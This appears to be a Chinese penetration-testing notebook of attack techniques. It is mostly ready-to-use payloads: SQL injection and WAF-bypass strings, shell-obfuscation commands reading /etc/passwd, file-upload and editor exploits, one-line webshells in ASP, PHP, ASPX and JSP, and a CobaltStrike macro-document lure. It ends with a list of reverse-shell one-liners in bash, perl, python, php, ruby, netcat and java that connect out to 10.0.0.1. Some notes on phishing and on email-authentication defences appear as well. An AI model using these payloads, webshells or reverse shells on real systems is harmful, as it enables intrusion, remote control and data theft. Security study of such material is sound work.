SQL

简单判别诸如点以及数据库类型 :

数据库类型丨连接符丨注释符号丨其他特殊方式丨唯一的默认表变量和函数 
MSSQL| %2B (URL加号编码) | -- | 待补充丨@@PACK_RECEIVED 
MYSQL| %20 (URL空格编码)丨# / -- | 待补充 |  CONNECTION_ID() 
Oracle I %7C (URL竖线编码) | -- 待补充 | BITAND(1,1) 
PGsql | %7C (URL竖线编码) | -- |ad1::int=1 | getpgusername() 
Access | %26 (URL与号编码) | N/A | 待补充 | msysobjects

为避免被wa拦截以及封禁P,注入建议不首先使用and以及or语句。

可用如下方式替换:

数字型注入:

?id=2*2
?id=4

字符型注入,根据上表判断

?key=wo'+'rd
?key=wo'||'rd
?key=wo' 'rd

Mysql

?id=ord('a')=97 
?id=123+AND+1=1 
?id=123+&&+1=1 
?id='=’
?id=123+AND+md5(‘a’)!= md5(‘A’) 
?id=123+and+len(@@version)>1 
?id=1’||1=’1 
?id=123‘+like+'123 
?id=123'+not+like+'1234 
?id='aaa'<>'bbb'
?id=123/*! union all select version() */-- 
?id=123/*!or*/1=1; 
?id=(1)union(((((((select(1), hex(hash)from(users))))))))       ---7个+8个括号 
?id=1+union+(select’1,concat(login,hash)from+users) 
?id=1+%55nion(%53elect 1, 2, 3)-- -
?id=1/*!000000union*/select%0d%0a/*asdas/asd asasd*/version() 
?id=1 union(select%0aall{x users}from{x ddd})

Mysql常用函数
字符串处理:

?key=user' OR mid(password,1,1)='*'
?key=user' OR mid(password,1,1)=0x2a
?key=user' OR mid(password,1,1)=unhex('2a') 
?key=user' OR mid(password,1,1) regexp '[*]'
?key=user' OR mid(password,1,1) like '*' 
?key=user' OR mid(password,1,1) rlike '[*]'
?key=user' OR ord(mid(password,1,1))=42 
?key=user' OR ascii(mid(password,1,1))=42 
?key=user' OR find_in_set('2a',hex(mid(password,1,1)))=1
?key=user' OR position(0x2a in password)=1
?key=user' OR locate(ox2a,password)=1
?key=user' OR substring((select 'password'),1,1) = 0x70 
?key=user' OR substr((select 'password'),1,1) = 0x70 
?key=user' OR mid((select 'password'),1,1) = 0x70 
?key=user' OR strcmp(left('password',1), 0X69) = 1 
?key=user' OR strcmp(left('password',1), 0×70) = 0
?key=user' OR strcmp(left('password',1), 0x71) = -1

命令执行

‘ (单引号)以及 \ (反斜杠)绕过

$ echo orleven 
orleven

$ echo o'r'l'e'v'e'n''
oreven 

$ /b'i'n/c'a't /e't'c/p'a's's'w'd' 
root: x: 0: 0: root: /root:/bin/bash 
daemon: x: 1: 1: daemon: /usr/sbin: /usr/sbin/nologin 
bin: x: 2: 2: bin:/bin: /usr/sbin/nologin 

$ /b\i\n/c\at /et'c'/pa's'swd 
root: x: 0: 0: root: /root: /bin/bash 
daemon: x: 1: 1: daemon: /usr/sbin: /usr/sbin/nologin 
bin: x: 2: 2: bin:/bin: /usr/sbin/nologin

? 、 * 、 [、 ]、 ^、 - 通配符绕过

问号最好只匹配到唯一一条

$ /b??/c?t /etc/??ss?d
root: X: 0: 0: root: /root: /bin/bash 
daemon: x: 1: 1: daemon: /usr/sbin: /usr/sbin/nologin 
bin: X: 2: 2: bin:/bin: /usr/sbin/nologin 

$ /???/n? -e /???/b??h 2130706433 1337 # /bin/nc -e /bin/bash 127.0.0.1 1337

$ 不存在的符号

cat $u/etc$u/passwd$u 

root: x: 0: 0: root: /root: /bin/bash 
daemon: x: 1: 1: daemon: /usr/sbin: /usr/sbin/nologin 
bin: x: 2: 2: bin: /bin: /usr/sbin/nologin

; 分号执行

$ cat /etc/passwd;ls 

.......

mysql:x:110:115:MySQL Serve,,,:/nonexistent:/bin/false 

a.out go gobuster gopath soft sqlmap.log tool

文件上传绕过

文件名绕过

1)文件名加回车
2)shell.php(%80-%99).jpg 绕过
3)如果有改名功能,可先上传正常文件,再改名 
4)%00
500(hex)
6)长文件名(windows 258byte | linux 4096byte ),可使用非字母数字,比如中文等最大程
度的拉长。 
7)重命名

脚本后缀

Php/php3/php/php5/php6/pht/phpt/phtml 
asp/cer/asa/cdx/aspx/ashx/ascx/asax 
jsp/jspx/ispf

解析漏洞

服务器特性:
1.会将Request中的不能编码部分的%去掉
2.Request中如果有unicode部分会将其进行解码

IIS

lIS6.0两个解析缺陷:目录名包含.asp.asa.cer的话,则该目录下的所有文件都将按照asp解析

例如:

/abc.asp/1.jpg 会当做/abc.asp 进行解析
/abc.php/1.jpg 会当做 /abc.php 进行解析

Apache1.X 2.X解析漏洞

Apache在以上版本中,解析文件名的方式是从后向前识别扩展名,直到遇见Apache可识别的扩展名为止

Nginx

以下Nginx容器的版本下,上传一个在waf白名单之内扩展名的文件shell. jpg,然后以shell.j pg.php进行请求

• Nginx 0.5.*
• Nginx 0.6.*
• Nginx 0.7 <= 0.7.65
• Nginx 0.8 <= 0.8.37

以上Nginx容器器的版本下,上传⼀个在waf白名单之内扩展名的文件shell.jpg,然后以shell.jpg%20.php进行请求

• Nginx 0.8.41 – 1.5.6:

以上Nginx容器的版本下,上传一个在waf白名单之内扩展名的文件shell.jpg,然后以shell.jpg%20.php进行请求

PHP CGI 解析漏洞

IIS 7.0/7.5
Nginx < 0.8.3

以上的容器版本中默认php配置文件cgi.fix_pathinfo=1时,上传一个存在于白名单的扩展名文件shell.jpg,在请求时以shell.jpg/shell.php请求,会将shell.jpg以php来解析

https://xz.aliyun.com/t/337

系统特性:利用NTFS ADS特性

ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果waf对请求正文的filename匹配不当的话可能会导致绕过

test.asp.
test.asp(空格)
test.php:1.jpg
test.php: $DATA
test.php_

系统特性
参考文章:


协议解析不一致,绕过waf(注入跨站也可尝试)

因为这种不仅仅存在于上传之处,注入跨站也可尝试

垃圾数据

-------------WebkitFormBoundaryFADasdasdasDdasd
Content-Disposition: form-data; name="file", filename='abc.php';aaaaaaaaaaaaaaaa 
Content-Type: application/octet-stream;

<?php phpinfo(); ?>
-------------WebkitFormBoundaryFADasdasdasDdasd

文件类型绕过/Header 头类型

修改文件类型绕过/Header头的Content-Type,多次尝试:

Content-Type:application/x-www-form-urlencoded;
Content-Type:multipart/form-data; 
Content-Type:application/octet-stream;

文件名解析兼容性

利用filename兼容性,多次修改常识Content-Disposition,多次尝试:

Content-Disposition:form-data; name="file"; filename=bc.php
Content-Disposition:form-data; name="file"; filename="bc.php
Content-Disposition:form-data; name="file"; filename='bc.php'

未解析所有文件

multipart协议中,一个POST请求可以同时上传多个文件。如图,许多WAF只检查第一个上传文件,没有检查上传的所有文件,而实际后端容器会解析所有上传的文件名,攻击者只需把paylaod放在后面的文件PART,即可绕过

https://blog.csdn.net/qq_32393893/article/details/81625047

不规则Content-Disposition文件名覆盖

-------------WebkitFormBoundaryFADasdasdasDdasd
content-Dispositiona:form-data; name="file"; filename='abc.jpg' 
Content-Disposition:form-data; name="file"; filename=abc.php'
Content-Type: application/octet-stream; 

<?php phpinfo(); ?>
-------------WebkitFormBoundaryFADasdasdasDdasd

文章讲解了Content-Disposition各种不规则绕过方法


boundary 绕过

boundary边界不一致(Win2k3 + llS6.0 + ASP)

1%u特性: iis支持对unicode的解析,如:payload为[s%u006c%u0006ect],解析出来后则是[select]
     %u0061nd 1=1
    另类%u特性: unicode在iis解析之后会被转换成multibyte,但是转换的过程中可能出现:多个widechar可能会转换为同一个字符。
    如:select中的e对应的unicode为%u0065,但是%u00f0同样会被转换成为e s%u00f0lect
    iis+asp
    
2)%特性: union selec%t user fr%om dd #iis+asp asp+iis环境下会忽略掉百分号,如:payload为[sele%ct], 解析出来后则是[select]
    
3)asp/asp.net在解析请求的时候,允许Content-Type: application/x-www-form-urlencoded的数据提交方式select%201%20from%20user
    
    asp/asp.net request解析:
4)在asp和asp.net中获取用户的提交的参数一般使用request包,当使用request(‘id’)的形式获取包的时候,会出现GET,POST分不清的情况,譬如可以构造一个请求包,METHOD为GET,但是包中还带有POST的内容和POST的content-type, 换一种理解方式也就是将原本的post数据包的method改成GET,如果使用request(‘id’)方式获取数据,仍会获取到post的内容

php+apache畸形的boundary

php在解析multipart data的时候有自己的特性,对于boundary的识别,只取了逗号前面的内容,例如我们设置的boundary为—-aaaa,123456,php解析的时候只识别了—-aaaa,后面的内容均没有识别。然而其他的如WAF在做解析的时候,有可能获取的是整个字符串,此时可能就会出现BYPASS

Content-Type: multipart/form-data; boundary=------,xxxx
    Content-Length: 191

    ------,xxxx
    Content-Disposition: form-data; name="img"; filename="img.gif"

    GIF89a
    ------
    Content-Disposition: form-data; name="id"

    1' union select null,null,flag,null from flag limit 1 offset 1-- -
    --------
    ------,xxxx--
12345678910111213

畸形method(header头中)

某些apache版本在做GET请求的时候,无论method为何值均会取出GET的内容。如请求的method名为DOTA,依然会返回GET方法的值,即,可以任意替换GET方法为其它值,但仍能有效工作,但如果waf严格按照GET方法取值,则取不到任何内容

参考文章:

https://xz.aliyun.com/t/2418

…….

等等骚姿势,后续慢慢添加


登录口JS前端加密绕过

概述

渗透测试过程中遇到web登录的时候,现在很多场景账号密码都是经过js加密之后再请求发送(通过抓包可以看到加密信息)如图一burp抓到的包,request的post的登录包,很明显可以看到password参数的值是经过前端加密之后再进行传输的,遇到这种情况,普通发包的爆破脚本就很难爆破成功。鉴于这种情况,这边分析四种方式进行绕过加密爆破

参数值被加密

参考文章:

大概能分为以下四种方法

简述:

1)既然是前端s加密,代码我们都能看得到,我们搭个服务器,每次发包前,把要发送的加密参数用服务器加密一遍,我们再把加密后的参数发送过去,这样相当于本地还原了加密过程

2)利用selenium webdriver等完全模拟人工输入,字典也可以自定义,不过需要自己写脚本而已,这种方法比较万能

3)这种方法适合有js功底的同学,首先把他的js加密过程跟方法看懂,然后本地简化或者用其他语言模拟他的加密过程,再自己写脚本去跑,或者生成加密后的字典直接burp去跑即可

4)前人栽树,后人乘凉,cony1老哥为了方便后辈,写了一款burp插件, https://github.com/c0ny1/jsENcrypter,名为jsEncrypter,简单来说就是把1,3点结合了一下,用插件方便地跑起来

jsEncrypter安装与本地测试

这里重点介绍第四种方法

1)首先得安装 maven,mac下直接 brew install maven
安装连接:

按照文档三种系统都有安装方法

2)安装好maven后,把jsEncrypter git clone回来或者下载回来解压缩,然后在他的文件夹下,打开cmd窗口,然后运行mvn package,就可以把插件编译成型,编译好后会多出一个target文件夹
命令:mvn package

这里不演示下去了…详细的查看文章…

中间复现会遇到的一些问题:
安装phantomJS环境变量参考:https://blog.csdn.net/xc_zhou/article/details/80700640

参考链接:


XMLDecoder 标签、POC

标签类型:
1)java
2)array
3)class
4)object
5)void
6)new
7)field
8)method
9)property
10)byte
11)其余数据类型

XML的基本语法
XML简单利用

详细文章:

该文章全面的介绍了XMLDecoder遇到的基础知识…了解后我们开始看下面的CVE解析文章

文章非常详细的POC


phpMyAdmin去getshell

前言

在学习sql语句之前,拿到phpmyadmin弱口令登录到后台却不知道怎么利用,学习之后却有了新的想法利用phpMyadmin getshello接下去来验证自己的猜想

phpMyAdmin的简介
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

详细文章:


攻击JWT的一些方法

详细文章:

https://xz.aliyun.com/t/6776

该文章中REF有详细链接,以及针对JWT的爆破密匙工具c-jwt-cracker也有详细链接介绍等


上传漏洞

上传技巧

大小写混淆
%00截断 
上传.htaccess分布式部署文件 
图片文件头:47 49 46 38 39 61 (gif)、FF D8 FF E0 00 10 4A 46 49 46 (jpg) 、89 50 4E 47 (png) 
其他解析格式:cer、asa、php4、php3、php5、phtml、jspx
修改(Content-type)MIME 
目录回溯符 filename="../backdoor. php"

编辑器漏洞

百度编辑器 Ueditor
controller.ashx?action=catchimage
FCKeditor

查看版本

/fckeditor/editor/dialog/fck_about.html
/fckeditor/_Whatsnew.html

上传页面

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
JSP 版:

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文

件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
FCKeditor 中test 文件的上传地址

FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
一般很多站点都已删除_samples 目录,可以试试。

FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。

参考文章:

上传的思路

Version 2.2 版本

Apache+linux 环境下在上传文件后面加个.突破!测试通过

Version <=2.4.2 For php

在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址

<form id="frmUpload" enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" 

method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>

FCKeditor 文件上传.变_下划线的绕过方法

很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化

提交shell.php+空格绕过,不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试

继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制

Version 2.4.1 测试通过

修改CurrentFolder 参数使用 …/…/ 来进入不同的目录

/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp

根据返回的XML 信息可以查看网站所有的目录

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F

也可以直接浏览盘符
JSP 版本

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F

Fckeditor 2.0 <= 2.2

允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension为后缀.直接导致在windows下在上传文件后面加个.来突破(这里点点很重要)

而在apache 下,因为”Apache 文件名解析缺陷漏洞”也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘

在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用iis6 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg

参考文章:


KindEditor

上传页面

kindeditor/asp/upload_json.asp?dir=file
kindeditor/asp.net/upload_json.ashx?dir=file
kindeditor/jsp/upload_json.jsp?dir=file
kindeditor/php/upload_json.php?dir=file

上传思路
kindeditor<=4.1.5

curl -F"imgFile=@1.html"http://127.0.0.1/test/kindeditor/php/upload_json.php?dir=file

参考文章:


上传漏洞总结

概要说明

文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接

Asp一句话

<%eval request(“kkk”)%> 	kkk

Php一句话:

<?php eval($_POST[666]);?> 	666

Aspx一句话:

<%@ Page Language="Jscript"%><%eval(Request.Item["111"],"unsafe");%>

Jsp一句话:

<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>

参考一句话:


服务端的上传验证

1)白名单验证定义允许上传的后缀类型,除此所有后缀都不允许

2)黑名单验证

定义不允许上传的后缀类型,除此之类其他后缀都可以上传

定义不允许上传的后缀:

asp、aspx、asa、cer、cdx、ash

【突破方法】

  1. 未重命名可以配合解析漏洞(很少)

  2. 可以用cer达到绕过效果

  3. 如果未用转换函数强制转换后缀为小写(ASP)

  4. 特殊后缀达到效果可利用ashx来生成一句话

  5. .htaccess来实现后缀引导。上传jpg可以解析成脚本,具体在内容定义

3)文件头验证
文件内容开头加上GIF89a
4)文件类型验证
例如可以把php的文件类型改成正常的图片类型

5)文件后缀验证

典型的白名单验证,指定上传后缀必须为jpg、JPG、jpeg、JPEG

6)js前端验证

Js在前端定义了允许上传的后缀类型

【突破方法】直接在前端修改或添加后缀,找不到就搜索图片后缀如jpg。或者直接抓包改。

……

等等,后续分开写


注入漏洞

太多了,后续分开写。


文件读取漏洞

Pentesterlab Xss

Pentesterlab是一个靶机环境

https://pentesterlab.com/ –官网
https://download.vulnhub.com/pentesterlab/web_for_pentester_i386.iso –安装包

https://blog.csdn.net/he_and/article/details/79798958
https://www.andseclab.com/2018/11/11/pentesterlab-xss题解/
http://secpark.com.cn/articles/2018/05/28/1527502530234.html   --很直观

三篇文章详细讲解了pentesterlab靶机进行XSS渗透!!!


Office宏的基本利用

前言

Office宏,译自英文单词Macro。宏是Office自带的一种高级脚本特性,通过VBA代码,可以在Office中去完成某项特定的任务,而不必再重复相同的动作,目的是让用户文档中的一些任务自动化。而宏病毒是一种寄存在文档或模板的宏中的计算机病毒。一旦打开这样的文档,其中的宏就会被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在Normal模板上

Visual Basic for Applications(VBA)是Visual Basic的一种宏语言,是微软开发出来在其桌面应用程序中执行通用的自动化(OLE)任务的编程语言。主要能用来扩展Windows的应用程序功能,特别是Microsoft Office软件,也可说是一种应用程式视觉化的Basic 脚本

环境准备

Windows 7 x64 旗舰版
Microsoft Office 2016
CobaltStrike 4

CobaltStrike生成宏

先利用CobaltStrike生成宏payload,接下来只要放入word、excel或ppt即可
生成宏

生成宏

创建宏Word

打开Word文档,点击 “Word 选项 — 自定义功能区 — 开发者工具(勾选) — 确定”
创建宏Word
编写主体内容后,点击 “开发工具 — Visual Basic” 。
创建宏Word
双击 “ThisDocument” ,将原有内容全部清空,然后将CobaltStrike生成宏payload全部粘贴进去,保存并关闭该 VBA 编辑器
创建宏Word
另存为的Word类型务必要选”Word 97-2003 文档 (*.doc)”,即 doc 文件,保证低版本可以打开。之后关闭,再打开即可执行宏代码
创建宏Word
反弹Beacon shell
默认情况下,Office已经禁用所有宏,但仍会在打开Word文档的时候发出通知

诱导目标手动点击”启用内容”宏。
反弹Beacon shell
目标一旦启用,CobaltStrike的Beacon就会上线,即成功接收到Shell
反弹Beacon shell

参考文章:


Discuz Ssrf Rce漏洞分析报告

很老的一个漏洞了


WordPress语言文件代码执行漏洞分析

参考:


Struts2远程命令执行s2-048漏洞分析报告

很老的一个漏洞了…学习下思路~~


静态免杀php一句话(已过D盾,河马,安全狗)

还有很多方法,这里书籍上的方法未找到,可看书!!


金融信息系统安全测评方法(不公布!)

学习下就好!!!

随着大数据、云计算、人工智能及区块链等新兴技术的应用,银行业手机银行、微信银行等新兴数字化金通过安全测评过程,全面分析出信息系统可能存在的人为破坏场景及其成因与后果,通过科学有效的测试

所以才提起金融信息系统安全测评方法这块内容的警惕,这里只能看书,网上应该是封了大部分资料书内容很全!!


Apache-Poi-XXE-Analysis

参考文章:


记一次阿里主站xss测试及绕过waf防护

使用工具:

https://github.com/chaitin/xray

书里也有另外的思路,大部分都是各种倒腾方法测试,前面也列举了很多,未授权的别乱搞!!

ClassLoader类加载机制

https://javasec.org/javase/ClassLoader/

该网站是JAVA非常好的一个学习页面,前面也推荐过了,这里提到ClassLoader再次推下!!


浅谈SSRF原理及其利用

https://teamssix.com/year/191222-192227.html

参考文章
https://xz.aliyun.com/t/2115
http://www.liuwx.cn/penetrationtest-3.html
https://www.cnblogs.com/yuzly/p/10903398.html
https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
https://www.netsparker.com/blog/web-security/server-side-request-forgery-vulnerability-ssrf/

Spring-Data-Commons (CVE-2018-1273)

http://blog.nsfocus.net/cve-2018-1273-analysis/		自行搭建复现
https://pianshen.com/article/9248784281/     vulhub靶机复现
http://xxlegend.com/2018/04/12/CVE-2018-1273-%20RCE%20with%20Spring%20Data%20Commons%20%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A/

听老的漏洞了,可以玩玩


xss绕过代码后端长度限制的方法

参考链接:


mysql提权之mof


mysql提权之udf


XSS 基础学习

https://baike.baidu.com/item/XSS%E6%94%BB%E5%87%BB   百度百科
https://www.jianshu.com/p/24a19c6434ae   --最新累积

还有书中知识!!!


java 反射与内存shell 初探-基于jetty容器的shell 维权

https://www.freebuf.com/articles/web/172753.html    ---利用“进程注入”实现无文件复活 WebShell
http://qiushao.net/2020/02/15/Java/Java-反射机制介绍/
https://www.cnblogs.com/jingmoxukong/p/12049112.html   ---深入理解 Java 反射和动态代理 
http://rui0.cn/archives/1408#more-1408    --前面了解了一些基础和知识,这是内存shell深入的理解,感谢大佬

书籍上还有不同的思路…


利用 DNSLOG回显

https://www.anquanke.com/post/id/98096   --实战
https://codingnote.cc/p/113368   --基础原理

书籍上还有不同的思路…


文件合成/图片马生成

指的是代码写入后不破坏图片为前提,图片仍可正常打开


UDF提权


3、社会工程学

水坑攻击

“水坑攻击”,黑客攻击方式之一,顾名思义,是在受害者必经之路设置了一个“水坑(陷阱)”。最常见的做法是,黑客分析攻击目标的上网活动规律,寻找攻击目标经常访问的网站的弱点,先将此网站“攻破”并植入攻击代码,一旦攻击目标访问该网站就会“中招”。

由于此种攻击借助了目标团体所信任的网站,攻击成功率很高,即便是那些对鱼叉攻击或其他形式的钓鱼攻击具有防护能力的团体

水坑攻击属于APT攻击的一种,与钓鱼攻击相比,黑客无需耗费精力制作钓鱼网站,而是利用合法网站的弱点,隐蔽性比较强。在人们安全意识不断加强的今天,黑客处心积虑地制作钓鱼网站却被有心人轻易识破,而水坑攻击则利用了被攻击者对网站的信任。

水坑攻击利用网站的弱点在其中植入攻击代码,攻击代码利用浏览器的缺陷,被攻击者访问网站时终端会被植入恶意程序或者直接被盗取个人重要信息。

水坑攻击相对于通过社会工程方式引诱目标用户访问恶意网站更具欺骗性,效率也更高。水坑方法主要被用于有针对性的攻击,而Adobe Reader、Java运行时环境(JRE)、Flash和IE中的零漏洞被用于安装恶意软件


鱼叉攻击

“鱼叉攻击”是黑客攻击方式之一,最常见的做法是,将木马程序作为电子邮件的附件,并起上一个极具诱惑力的名称,发送给目标电脑,诱使受害者打开附件,从而感染木马。

Swaks-邮件伪造

瑞士军刀还是很有名的,熟悉下原理和简单的 –to –from –attach –data –elho这几种使用意思就OK了…


邮件伪造防御技术

SPF

SPF是 Sender Policy Framework 的缩写,一种以IP地址认证电子邮件发件人身份的技术,是为了防范垃圾邮件而提出来的一种DNS记录类型,它是一种TXT类型的记录。 接收邮件方会首先检查域名的SPF记录,来确定发件人的IP地址是否被包含在SPF记录里面,如果在,就认为是一封正确的邮件,否则会认为是一封伪造的邮件进行退回。

SPF可以防止别人伪造你来发邮件,是一个反伪造性邮件的解决方案。当你定义了你域名的SPF记录之后, 接收邮件方会根据你的SPF记录来确定连接过来的IP地址是否被包含在SPF记录里面,如果在,则认为是一封正确的邮件,否则则认为是一封伪造的邮件。

设置正确的 SPF 记录可以提高邮件系统发送外域邮件的成功率,也可以一定程度上防止别人假冒你的域名发邮件。

DKIM

DKIM是一种防范电子邮件欺诈的验证技术,通过消息加密认证的方式对邮件发送域名进行验证。

邮件发送方发送邮件时,利用本域私钥加密邮件生成DKIM签名,将DKIM签名及其相关信息插入邮件头。邮件接收方接收邮件时,通过DNS查询获得公钥,验证邮件DKIM签名的有效性。从而确认在邮件发送的过程中,防止邮件被恶意篡改,保证邮件内容的完整性

DMARC

DMARC是一种基于现有的SPF和DKIM协议的可扩展电子邮件认证协议,在邮件收发双方建立了邮件反馈机制,便于邮件发送方和邮件接收方共同对域名的管理进行完善和监督。

DMARC要求域名所有者在DNS记录中设置SPF记录和DKIM记录,并明确声明对验证失败邮件的处理策略。邮件接收方接收邮件时,首先通过DNS获取DMARC记录,再对邮件来源进行SPF验证和DKIM验证,对验证失败的邮件根据DMARC记录进行处理,并将处理结果反馈给发送方。

DMARC能够有效识别并拦截欺诈邮件和钓鱼邮件,保障用户个人信息安全。

设置完 SPF 和 DKIM 后,您就能以 TXT 记录的形式向您网域的 DNS 记录添加政策,从而配置 DMARC(方法与配置 SPF 或 ADSP 一样)


钓鱼攻击

钓鱼式攻击是一种企图从电子通讯中,通过伪装成信誉卓著的法人媒体以获得如用户名、密码和信用卡明细等个人敏感信息的犯罪诈骗过程。这些通信都声称(自己)来自社交网站拍卖网站网络银行、电子支付网站或网络管理者,以此来诱骗受害人的轻信。网钓通常是通过e-mail或者即时通讯进行。它常常导引用户到∪RL与界面外观与真正网站几无二致的假冒网站输入个人数据。就算使用强式加密的SSL服务器认证,要侦测网站是否仿冒实际上仍很困难。

视觉效果

某次应急响应中,从A客户(跨国经销商)那里了解到的情况如下:

A是商家 
B商家的消费者 
C黑客

C攻入了A的邮件服务器,并且持续控制了一个季度,共3个月。

B要购买A的产品时,A发送合同给B,同时C的木马也在读取邮件数据库的内容,合同中有付款账户,C从中截获A的邮件,并且修改合同内容,从邮件服务器拉取到了前一年的合同模板,将银行账户打印上去,B收到C的合同后迸行了打款,同时B在向A确认的过程中,A发现B受骗了。

思考:

C怎么给B发送的邮件,取得了B的信任呢?

这里举个例子: fish.comfish.corn

乍一看,fish.com中的comcorn非常相似,有个别字体影响的话,还是很难分辨的,更别说歪果仁了…

宋体

娃娃体


凭证劫持

漏洞危害

劫持凭证,构造链接登录受害者账号

文章:

雷神众测原文被删了好像…


克隆技术


Word文档-云宏代码钓鱼

https://cloud.tencent.com/developer/article/1518725
https://xz.aliyun.com/t/2496

两篇复现~~


4、APP密码算法通用分析方法


5、Linux下反弹she命令

Hackthebox经典提权:

Bash
Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL
Here’s a shorter, feature-free version of the perl-reverse-shell:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

There’s also an alternative PERL revere shell here.

Python
This was tested under Linux / Python 2.7:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
1

PHP
This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn’t work, try 4, 5, 6…

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

If you want a .php file to upload, see the more featureful and robust php-reverse-shell.

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat
Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

nc -e /bin/sh 10.0.0.1 1234

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

[Untested submission from anonymous reader]

xterm
One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.

xterm -display 10.0.0.1:1

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):

Xnest :1

You’ll need to authorise the target to connect to you (command also run on your host):

xhost +targetip

shell文章:

打过靶机的应该都会…


6、Browser Pivot for Chrome

还可以参考书籍…


到这里就结束打入内网的篇章了,将开启命令篇章!